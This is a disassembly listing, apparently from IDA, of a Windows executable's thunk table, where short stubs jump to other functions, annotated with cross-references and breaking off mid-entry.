; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401384	proc near		; CODE XREF: sub_418490+72p
		jmp	sub_406C30
sub_401384	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401389	proc near		; CODE XREF: sub_409D20+7p
					; sub_409E70+7p ...
		jmp	sub_40A700
sub_401389	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40138E	proc near		; DATA XREF: ___:off_43E080o
		jmp	sub_422A40
sub_40138E	endp

; ---------------------------------------------------------------------------
		jmp	loc_413AE0
; ---------------------------------------------------------------------------
		jmp	sub_42B350

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40139D	proc near		; CODE XREF: sub_418900+11p
					; sub_421CB0+1Fp
		jmp	sub_418C50
sub_40139D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B2D0


loc_4013A2:				; CODE XREF: sub_42B2D0+3j
		jmp	sub_42A810
; END OF FUNCTION CHUNK	FOR sub_42B2D0
; ---------------------------------------------------------------------------
		jmp	sub_42B4F0
; ---------------------------------------------------------------------------
		jmp	loc_42EBB0
; ---------------------------------------------------------------------------
		jmp	loc_414A60

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4013B6	proc near		; CODE XREF: sub_407290+1Fp
		jmp	sub_407370
sub_4013B6	endp

; ---------------------------------------------------------------------------
		jmp	loc_42E7B0

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4013C0	proc near		; CODE XREF: sub_40FD70+3p
					; ___:00416AEBp ...
		jmp	sub_40FDA0
sub_4013C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4013C5	proc near		; CODE XREF: sub_425270+Cp
					; sub_4253E0+Ap ...
		jmp	sub_425230
sub_4013C5	endp

; ---------------------------------------------------------------------------
		jmp	loc_40D2E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4013CF	proc near		; CODE XREF: sub_40A8C0+20p
		jmp	sub_40A9F0
sub_4013CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4013D4	proc near		; CODE XREF: sub_40FF60+AFDp
					; sub_40FF60+E71p ...
		jmp	sub_40AEC0
sub_4013D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4013D9	proc near		; CODE XREF: sub_404C70+8EFp
					; sub_404C70+8F8p ...
		jmp	sub_40A270
sub_4013D9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4013DE	proc near		; CODE XREF: ___:0042200Ap
		jmp	sub_422540
sub_4013DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4013E3	proc near		; CODE XREF: sub_404640+87p
					; sub_40FF60+9B0p ...
		jmp	sub_40A160
sub_4013E3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4013E8	proc near		; CODE XREF: sub_426A60+12Ep
		jmp	sub_419F50
sub_4013E8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4013ED	proc near		; CODE XREF: sub_41E660+35Dp
					; sub_41E660+3CAp ...
		jmp	sub_421BA0
sub_4013ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4013F2	proc near		; CODE XREF: sub_418CA0+7p
		jmp	sub_418FA0
sub_4013F2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4013F7	proc near		; CODE XREF: sub_4161C0+5Fp
		jmp	sub_416790
sub_4013F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4013FC	proc near		; DATA XREF: ___:off_43E0C4o
		jmp	sub_41B3D0
sub_4013FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401401	proc near		; CODE XREF: sub_4156C0+29p
					; sub_4157E0+29p
		jmp	sub_416280
sub_401401	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401406	proc near		; CODE XREF: sub_413DA0+19Ap
		jmp	sub_4157A0
sub_401406	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40140B	proc near		; CODE XREF: ___:0042EF0Fp
					; ___:0042EF38p
		jmp	sub_42F0B0
sub_40140B	endp

; ---------------------------------------------------------------------------
		jmp	loc_42CFC0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401415	proc near		; CODE XREF: ___:00416DFFp
		jmp	sub_417E50
sub_401415	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40141A	proc near		; CODE XREF: sub_41B820:loc_41B82Fp
					; sub_41B820+1Fp
		jmp	sub_41B800
sub_40141A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40141F	proc near		; DATA XREF: sub_40AEC0+4o
		jmp	sub_40AF90
sub_40141F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401424	proc near		; CODE XREF: sub_4034E0+61p
					; sub_403C90+1Dp ...
		jmp	sub_409AE0
sub_401424	endp

; ---------------------------------------------------------------------------
		jmp	loc_435E40

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40142E	proc near		; CODE XREF: sub_418890+29p
		jmp	sub_418B10
sub_40142E	endp

; ---------------------------------------------------------------------------
		jmp	loc_433080

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401438	proc near		; CODE XREF: ___:0043286Dp
					; sub_4329F0+20p
		jmp	sub_432B20
sub_401438	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40143D	proc near		; CODE XREF: ___:00406BD3p
					; ___:00416B58p ...
		jmp	sub_406C00
sub_40143D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401442	proc near		; CODE XREF: sub_404640+370p
					; sub_404640:loc_4049E5p ...
		jmp	sub_404BE0
sub_401442	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401447	proc near		; CODE XREF: sub_404C70+26Bp
					; ___:0040F276p ...
		jmp	sub_40E7A0
sub_401447	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40144C	proc near		; CODE XREF: sub_415960+5p
		jmp	sub_416440
sub_40144C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401451	proc near		; CODE XREF: sub_40B520+1Dp
					; ___:0040B94Dp ...
		jmp	sub_40BD20
sub_401451	endp

; ---------------------------------------------------------------------------
		jmp	loc_40B5F0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40145B	proc near		; CODE XREF: sub_41E660+349p
					; sub_421AF0+1Ap
		jmp	sub_421B60
sub_40145B	endp

; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_2. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401465	proc near		; CODE XREF: sub_4150F0+29p
		jmp	sub_415BE0
sub_401465	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40146A	proc near		; CODE XREF: ___:00408A2Dp
					; ___:00408A56p ...
		jmp	sub_409450
sub_40146A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40146F	proc near		; CODE XREF: sub_404640+30p
					; sub_404640+14Bp ...
		jmp	sub_40A6C0
sub_40146F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401474	proc near		; CODE XREF: sub_4192C0+1D8p
					; sub_4192C0+1EFp
		jmp	sub_419790
sub_401474	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401479	proc near		; CODE XREF: sub_4126B0+F8p
		jmp	sub_41BC90
sub_401479	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40147E	proc near		; CODE XREF: sub_413B70+E1p
		jmp	sub_4151D0
sub_40147E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401483	proc near		; CODE XREF: sub_422A40+48p
					; sub_422A40+213p ...
		jmp	sub_425870
sub_401483	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401488	proc near		; CODE XREF: sub_41B4B0+2Ap
					; sub_41B4B0+5Ap
		jmp	sub_41A5B0
sub_401488	endp

; ---------------------------------------------------------------------------
		jmp	loc_431100
; ---------------------------------------------------------------------------
		jmp	loc_42E8E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401497	proc near		; CODE XREF: sub_40ED70+EAp
		jmp	sub_40EC30
sub_401497	endp

; ---------------------------------------------------------------------------
		jmp	loc_40A6E0
; ---------------------------------------------------------------------------


loc_4014A1:				; DATA XREF: ___:off_43E078o
		jmp	loc_40F140

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4014A6	proc near		; CODE XREF: sub_40BD20+16p
					; sub_40BD60+Bp ...
		jmp	sub_40C0C0
sub_4014A6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4014AB	proc near		; CODE XREF: sub_42B1D0+1Dp
		jmp	sub_42B240
sub_4014AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4014B0	proc near		; CODE XREF: sub_41C610+4E7p
					; sub_41C610+A75p ...
		jmp	sub_41D5D0
sub_4014B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4014B5	proc near		; CODE XREF: sub_413220+48p
					; ___:00439997j ...
		jmp	sub_4156C0
sub_4014B5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4014BA	proc near
		jmp	sub_40AE80
sub_4014BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4014BF	proc near		; DATA XREF: ___:off_43E044o
		jmp	sub_414D40
sub_4014BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4014C4	proc near		; CODE XREF: ___:00426623p sub_426680j ...
		jmp	sub_426560
sub_4014C4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4014C9	proc near		; CODE XREF: sub_4034E0+115p
					; sub_404640+1B8p ...
		jmp	sub_409B80
sub_4014C9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4014CE	proc near		; CODE XREF: sub_40AC70+7p
		jmp	sub_40AD60
sub_4014CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4014D3	proc near		; CODE XREF: sub_404B10+9p
					; sub_404C70+45p ...
		jmp	sub_40A740
sub_4014D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4014D8	proc near		; CODE XREF: sub_41E660+E1p
					; sub_4218F0+1Ap
		jmp	sub_421960
sub_4014D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4014DD	proc near		; CODE XREF: sub_41A110+10p
					; sub_41A2B0+47p ...
		jmp	sub_41A500
sub_4014DD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4014E2	proc near		; CODE XREF: sub_4070B0+24p
		jmp	sub_407290
sub_4014E2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4014E7	proc near		; CODE XREF: ___:0042B0F5p
		jmp	sub_42B1D0
sub_4014E7	endp

; ---------------------------------------------------------------------------
		jmp	sub_427600

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4014F1	proc near		; CODE XREF: ___:00416B1Bp
					; ___:00439EB6j ...
		jmp	sub_417540
sub_4014F1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4014F6	proc near		; CODE XREF: sub_415B20+5Fp
		jmp	sub_416510
sub_4014F6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4014FB	proc near		; CODE XREF: sub_424800+Fp
					; sub_424840+1CCp ...
		jmp	sub_424760
sub_4014FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401500	proc near		; CODE XREF: sub_4282C0+117p
					; sub_4282C0+1DCp ...
		jmp	sub_409F90
sub_401500	endp

; ---------------------------------------------------------------------------
		jmp	loc_4199B0
; ---------------------------------------------------------------------------
		jmp	loc_432C30
; ---------------------------------------------------------------------------
		jmp	loc_42EC00
; ---------------------------------------------------------------------------
		jmp	loc_42EB10

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401519	proc near		; CODE XREF: sub_421F50+8p
		jmp	sub_4223A0
sub_401519	endp

; ---------------------------------------------------------------------------
		jmp	locret_419930

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401523	proc near		; CODE XREF: sub_40CBB0+1E1p
					; sub_40CF60+143p ...
		jmp	sub_419970
sub_401523	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401528	proc near		; CODE XREF: sub_418A70+3p
		jmp	sub_418D00
sub_401528	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40152D	proc near		; DATA XREF: ___:0043E1B8o
		jmp	sub_42B540
sub_40152D	endp

; ---------------------------------------------------------------------------
		jmp	loc_432580

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401537	proc near		; CODE XREF: sub_40FF60+95p
					; sub_411FE0+54Dp ...
		jmp	sub_414210
sub_401537	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40153C	proc near		; CODE XREF: sub_40B520+Bp
					; ___:0040B939p
		jmp	sub_40BE20
sub_40153C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401541	proc near		; CODE XREF: sub_42F540+1Bp
					; sub_431BE0+94p
		jmp	sub_42F6B0
sub_401541	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401546	proc near		; CODE XREF: sub_421ED0+7p
		jmp	sub_422350
sub_401546	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40154B	proc near		; CODE XREF: ___:0043285Fp
					; sub_4329F0+Fp
		jmp	sub_432B60
sub_40154B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401550	proc near		; CODE XREF: sub_418940+29p
					; sub_418A20+29p
		jmp	sub_418BC0
sub_401550	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401555	proc near		; CODE XREF: sub_40B170+40p
					; ___:00438B1Aj ...
		jmp	sub_40BCB0
sub_401555	endp

; ---------------------------------------------------------------------------
		jmp	loc_4303B0

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40155F	proc near		; CODE XREF: sub_40BFF0+4p
		jmp	sub_40C200
sub_40155F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401564	proc near		; CODE XREF: sub_407030+3Cp
		jmp	sub_4071E0
sub_401564	endp

; ---------------------------------------------------------------------------
		jmp	loc_41BC20

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40156E	proc near		; CODE XREF: sub_415210+4Fp
					; sub_415B20+11p ...
		jmp	sub_415D70
sub_40156E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401573	proc near		; CODE XREF: ___:00416E8Ap
		jmp	sub_418230
sub_401573	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401578	proc near		; CODE XREF: sub_413670+BEp
					; sub_413670+FCp ...
		jmp	sub_4150F0
sub_401578	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40157D	proc near		; CODE XREF: ___:00416D9Fp
		jmp	sub_417BC0
sub_40157D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401582	proc near		; CODE XREF: sub_412900+39p
					; sub_412970+A9p
		jmp	sub_412870
sub_401582	endp

; ---------------------------------------------------------------------------
		jmp	loc_4310D0

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40158C	proc near		; CODE XREF: sub_40A430+16Fp
					; ___:00438A8Aj
		jmp	sub_40A790
sub_40158C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401591	proc near		; CODE XREF: sub_403FC0+51p
					; ___:00404064p ...
		jmp	sub_4070B0
sub_401591	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401596	proc near		; CODE XREF: ___:00408A4Ap
					; ___:00408A73p ...
		jmp	sub_40B680
sub_401596	endp

; ---------------------------------------------------------------------------
		jmp	loc_431F90
; ---------------------------------------------------------------------------
		jmp	loc_41A180

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4015A5	proc near		; CODE XREF: sub_415FC0+4p
		jmp	sub_416610
sub_4015A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4015AA	proc near		; CODE XREF: sub_409850+1Ap
					; sub_4098A0+1Ap
		jmp	sub_409910
sub_4015AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4015AF	proc near		; DATA XREF: ___:0043E134o
		jmp	sub_428040
sub_4015AF	endp

; ---------------------------------------------------------------------------
		jmp	loc_4328F0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4015B9	proc near		; CODE XREF: ___:004191A5p
		jmp	sub_419200
sub_4015B9	endp

; ---------------------------------------------------------------------------
		jmp	loc_4324C0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4015C3	proc near		; CODE XREF: ___:0041D733p
		jmp	sub_41D760
sub_4015C3	endp

; ---------------------------------------------------------------------------
		jmp	loc_432200

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4015CD	proc near		; CODE XREF: sub_415340+5p
		jmp	sub_415DA0
sub_4015CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4015D2	proc near		; CODE XREF: sub_4189B0+5p
					; sub_418AB0+6p ...
		jmp	sub_418CC0
sub_4015D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4015D7	proc near		; CODE XREF: sub_404C70+953p
					; ___:00406E5Cp ...
		jmp	sub_409C80
sub_4015D7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4015DC	proc near		; CODE XREF: ___:00416D5Fp
		jmp	sub_406BA0
sub_4015DC	endp

; ---------------------------------------------------------------------------
		jmp	loc_424350

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4015E6	proc near		; CODE XREF: ___:00415E2Ap
		jmp	sub_416660
sub_4015E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4015EB	proc near		; CODE XREF: sub_41EF30+1C7p
		jmp	sub_420CD0
sub_4015EB	endp

; ---------------------------------------------------------------------------


loc_4015F0:				; DATA XREF: ___:0043E1C0o
		jmp	loc_42B830

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4015F5	proc near		; CODE XREF: sub_427FF0+3p
		jmp	sub_428020
sub_4015F5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4015FA	proc near		; CODE XREF: sub_404C70+E94p
					; sub_40D580+120p ...
		jmp	sub_41FF90
sub_4015FA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4015FF	proc near		; CODE XREF: sub_4314C0+20p
					; sub_4314C0+32p
		jmp	sub_433670
sub_4015FF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401604	proc near		; CODE XREF: ___:00431435p
		jmp	sub_42FF30
sub_401604	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401609	proc near
		jmp	sub_425980
sub_401609	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40160E	proc near		; CODE XREF: sub_4163E0+8p
		jmp	sub_4167B0
sub_40160E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401613	proc near		; DATA XREF: ___:off_43E0ACo
		jmp	sub_41E660
sub_401613	endp

; ---------------------------------------------------------------------------
		jmp	loc_41AAA0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40161D	proc near		; CODE XREF: sub_40AEA0p ___:004300F2p
		jmp	sub_431300
sub_40161D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401622	proc near		; CODE XREF: sub_4070F0+1Ap
					; sub_418890+1Ap
		jmp	sub_407220
sub_401622	endp

; ---------------------------------------------------------------------------
		jmp	loc_416C90
; ---------------------------------------------------------------------------
		jmp	loc_42F070

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401631	proc near		; CODE XREF: sub_422240+5Fp
		jmp	sub_4225E0
sub_401631	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401636	proc near		; CODE XREF: ___:0041A20Ap
		jmp	sub_41B060
sub_401636	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40163B	proc near		; CODE XREF: sub_4314C0:loc_4314FEp
		jmp	sub_431560
sub_40163B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401640	proc near		; CODE XREF: sub_432E60+12p
					; sub_4335B0+51p
		jmp	sub_430520
sub_401640	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401645	proc near		; CODE XREF: ___:00416DAFp
		jmp	sub_417C60
sub_401645	endp

; ---------------------------------------------------------------------------
		jmp	loc_4301F0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40164F	proc near		; CODE XREF: sub_40A850+8p
		jmp	sub_40A8A0
sub_40164F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401654	proc near		; CODE XREF: ___:00412F4Ep
		jmp	sub_4130E0
sub_401654	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401659	proc near		; CODE XREF: sub_42FAA0+ADp
					; ___:004322B0p ...
		jmp	sub_42F4F0
sub_401659	endp

; ---------------------------------------------------------------------------
		db 0E9h	; é
		db  5Dh	; ]
		db 0A1h	; ¡
		db    2
		db    0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401663	proc near		; CODE XREF: sub_42B880+15Ep
		jmp	sub_42B480
sub_401663	endp

; ---------------------------------------------------------------------------
		jmp	loc_406850
; ---------------------------------------------------------------------------
		jmp	loc_42E350

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401672	proc near		; CODE XREF: ___:004073CAp
		jmp	sub_407570
sub_401672	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401677	proc near		; CODE XREF: sub_422650+3Cp
		jmp	sub_422790
sub_401677	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40167C	proc near		; DATA XREF: ___:0043E0C8o
		jmp	sub_41B4B0
sub_40167C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401681	proc near		; CODE XREF: sub_4034E0+BBp
					; ___:00406ECDp ...
		jmp	sub_4036B0
sub_401681	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401686	proc near		; CODE XREF: ___:0042EDB0p
					; ___:0042EE2Ep ...
		jmp	sub_432D80
sub_401686	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40168B	proc near		; CODE XREF: sub_409490+10p
		jmp	sub_409530
sub_40168B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401690	proc near		; CODE XREF: sub_40A430+4Ap
		jmp	sub_40A760
sub_401690	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401695	proc near		; CODE XREF: ___:00416DCFp
		jmp	sub_40F600
sub_401695	endp

; ---------------------------------------------------------------------------
		jmp	loc_4320E0
; ---------------------------------------------------------------------------
		jmp	loc_42E650

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4016A4	proc near		; CODE XREF: sub_40BEC0+9p
					; sub_40C120+18p
		jmp	sub_40C2A0
sub_4016A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4016A9	proc near		; CODE XREF: sub_41D830+283p
		jmp	sub_42E880
sub_4016A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4016AE	proc near		; CODE XREF: sub_4034E0+CCp
					; sub_404640+EDp ...
		jmp	sub_40A630
sub_4016AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4016B3	proc near		; CODE XREF: ___:00416DEFp
		jmp	sub_417E20
sub_4016B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4016B8	proc near		; CODE XREF: sub_4245F0+7Ep
					; sub_4245F0+92p ...
		jmp	sub_4244C0
sub_4016B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4016BD	proc near		; CODE XREF: sub_4126B0+E0p
					; sub_4137E0+CEp ...
		jmp	sub_409E70
sub_4016BD	endp

; ---------------------------------------------------------------------------
		jmp	loc_42E130
; ---------------------------------------------------------------------------
		jmp	loc_42E8B0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4016CC	proc near		; CODE XREF: ___:00415099p
		jmp	sub_4159D0
sub_4016CC	endp

; ---------------------------------------------------------------------------


loc_4016D1:				; DATA XREF: ___:off_43E0ECo
		jmp	loc_426620

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4016D6	proc near		; CODE XREF: sub_409600+58p
					; sub_409600+82p ...
		jmp	sub_409850
sub_4016D6	endp

; ---------------------------------------------------------------------------
		jmp	sub_426F20

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4016E0	proc near		; CODE XREF: sub_41E660+2B2p
		jmp	sub_421AB0
sub_4016E0	endp

; ---------------------------------------------------------------------------
		jmp	loc_41AE50
; ---------------------------------------------------------------------------
		jmp	loc_4118E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4016EF	proc near		; CODE XREF: sub_40A850+10p
		jmp	sub_40A8C0
sub_4016EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4016F4	proc near
		jmp	sub_4351E0
sub_4016F4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4016F9	proc near		; CODE XREF: sub_418330+7Bp
					; sub_418330+C5p ...
		jmp	sub_418AE0
sub_4016F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4016FE	proc near		; CODE XREF: sub_4147D0+FCp
		jmp	sub_4149A0
sub_4016FE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401703	proc near		; CODE XREF: sub_41E660+D1p
		jmp	sub_421A10
sub_401703	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401708	proc near		; CODE XREF: sub_40AE80p
					; ___:loc_4300D5p
		jmp	sub_431280
sub_401708	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40170D	proc near		; CODE XREF: sub_409600+91p
					; sub_412BC0+Dp
		jmp	sub_4097D0
sub_40170D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401712	proc near		; DATA XREF: ___:off_43E0A8o
		jmp	sub_40C400
sub_401712	endp

; ---------------------------------------------------------------------------
		jmp	loc_40ADE0

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40171C	proc near		; CODE XREF: sub_4139B0+4Ep
		jmp	sub_415070
sub_40171C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401721	proc near		; CODE XREF: sub_40F600+13Dp
		jmp	sub_412B90
sub_401721	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401726	proc near		; CODE XREF: ___:0040F1C0p
		jmp	sub_40E220
sub_401726	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40172B	proc near		; CODE XREF: ___:004150C1p
		jmp	sub_415AA0
sub_40172B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401730	proc near		; CODE XREF: sub_427650+98p
		jmp	sub_4277C0
sub_401730	endp

; ---------------------------------------------------------------------------
		jmp	loc_425410
; ---------------------------------------------------------------------------
		jmp	loc_41AEF0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40173F	proc near		; CODE XREF: sub_4070F0+48p
					; sub_4070F0:loc_407175p
		jmp	sub_4072F0
sub_40173F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401744	proc near		; CODE XREF: sub_40AE10+2Cp
					; sub_418330+8Fp ...
		jmp	sub_40AF40
sub_401744	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401749	proc near		; CODE XREF: sub_4036D0+2A5p
					; sub_4036D0+2B5p ...
		jmp	sub_403D90
sub_401749	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40174E	proc near		; CODE XREF: sub_42A5F0+7Fp
					; sub_42A810+318p
		jmp	sub_42A400
sub_40174E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401753	proc near		; CODE XREF: sub_415990+16p
					; sub_4159D0+Bp ...
		jmp	sub_416530
sub_401753	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401758	proc near		; CODE XREF: sub_40AF40+10p
					; ___:0042F2C1p ...
		jmp	sub_430180
sub_401758	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40175D	proc near		; CODE XREF: ___:0040AF14p
		jmp	sub_4335B0
sub_40175D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401762	proc near		; CODE XREF: sub_418D80+5Fp
